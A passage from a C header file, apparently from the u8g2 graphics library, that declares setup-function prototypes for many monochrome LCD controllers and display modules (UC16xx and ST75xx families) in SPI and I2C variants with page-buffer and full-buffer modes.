u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_i2c_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_i2c_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_i2c_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_160x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_160x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_160x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1638_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_i2c_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_i2c_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1610_i2c_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1611_i2c_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7511_avd_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7511_avd_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7511_avd_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7528_i2c_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_i2c_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_i2c_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1617_i2c_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6063_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_64128n_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_zolen_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6059_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ks0713_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6063_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_64128n_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_zolen_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6059_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ks0713_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6063_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_64128n_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_zolen_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lm6059_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ks0713_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_lx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_erc12864_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12832_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12832_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_nhd_c12832_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_i2c_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_i2c_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7539_i2c_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1601_i2c_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7565_ea_dogm132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void 